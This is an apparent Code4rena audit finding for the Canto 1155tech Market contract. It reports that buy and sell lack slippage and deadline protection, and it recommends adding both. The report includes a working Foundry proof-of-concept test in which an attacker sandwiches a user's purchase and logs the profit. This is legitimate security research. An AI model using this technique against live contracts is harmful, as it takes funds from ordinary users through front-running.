Platform: Code4rena
Start Date: 13/11/2023
Pot Size: $24,500 USDC
Total HM: 3
Participants: 120
Period: 4 days
Judge: 0xTheC0der
Id: 306
League: ETH
Rank: 120/120
Findings: 1
Award: $1.37
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: rvierdiiev
Also found by: 0x175, 0x3b, 0xMango, 0xarno, 0xpiken, Bauchibred, DarkTower, ElCid, Giorgio, HChang26, Kose, KupiaSec, Madalad, PENGUN, Pheonix, RaoulSchaffranek, SpicyMeatball, T1MOH, Tricko, Udsen, Yanchuan, aslanbek, ast3ros, bart1e, bin2chen, chaduke, d3e4, deepkin, developerjordy, glcanvas, inzinko, jasonxiale, jnforja, mahyar, max10afternoon, mojito_auditor, neocrao, nmirchev8, openwide, osmanozdemir1, peanuts, pep7siup, peritoflores, pontifex, rice_cooker, rouhsamad, t0x1c, tnquanghuy0512, turvy_fuzz, twcctop, ustas, vangrim, zhaojie, zhaojohnson
1.3743 USDC - $1.37
https://github.com/code-423n4/2023-11-canto/blob/df7362f601f64ccb8afaf73ccd885109f8217498/1155tech-contracts/src/Market.sol#L150 https://github.com/code-423n4/2023-11-canto/blob/df7362f601f64ccb8afaf73ccd885109f8217498/1155tech-contracts/src/Market.sol#L174
Market #buy
and sell
is vulnerable to sandwich attack. User may lose funds after call this functions.
When users call market #buy
, they will get the buy price by function getBuyPrice
.
Let's look at this function, its value is affected by token count. The higher the count number is, the higher the return price value will be. So does the sell price.
Malicious users can manipulate prices by front run and back run the normal buy function call.
For example, front run buy
to increase the current price, and back run buy
to decrease the price.
Suppose a situation, Bob want to buy some token, malicious user Alice notice this in mempool, he front run Bob's call to buy at a low price. After Bob buy, Alice call sell
to get a profit.
Poc: paste this in Market.t.sol
//forge test --mt test_sandwitchAttack -vv function test_sandwitchAttack() public { // ---- prepare address alice = address(11); testCreateNewShare(); (uint256 priceBuy, uint256 feeBuy) = market.getBuyPrice(1, 10); token.transfer(alice, priceBuy+feeBuy); // ---- attack uint256 aliceBalanceBefore = token.balanceOf(alice); emit log_named_uint("alice balance before attack", aliceBalanceBefore); //alice front run vm.startPrank(alice); token.approve(address(market), type(uint256).max); market.buy(1, 10); vm.stopPrank(); //user buy (get a higher price) token.approve(address(market), type(uint256).max); market.buy(1, 10); //alice back run vm.startPrank(alice); market.sell(1, 10); vm.stopPrank(); // --calculate profit uint256 aliceBalanceAfter = token.balanceOf(alice); emit log_named_uint("alice balance after attack", aliceBalanceAfter); uint256 profit = aliceBalanceAfter - aliceBalanceBefore; emit log_named_uint("alice profit", profit); }
Get output:
[PASS] test_sandwitchAttack() (gas: 525271) Logs: alice balance before attack: 57599999999999998 alice balance after attack: 152769583333333334 alice profit: 95169583333333336
alice gets a profit of 0.095e18.If he use flashloan to increase the price much higher, he will get a better profit.
foundry
To avoid this, in buy
and sell
, there should have slippage protection,the max or min price user can accept.
Another thing to have a deadline protection, to prevent tx stay in mempool too long
MEV
#0 - c4-pre-sort
2023-11-18T09:52:24Z
minhquanym marked the issue as duplicate of #12
#1 - c4-judge
2023-11-28T23:14:14Z
MarioPoneder changed the severity to 2 (Med Risk)
#2 - c4-judge
2023-11-28T23:27:11Z
MarioPoneder marked the issue as satisfactory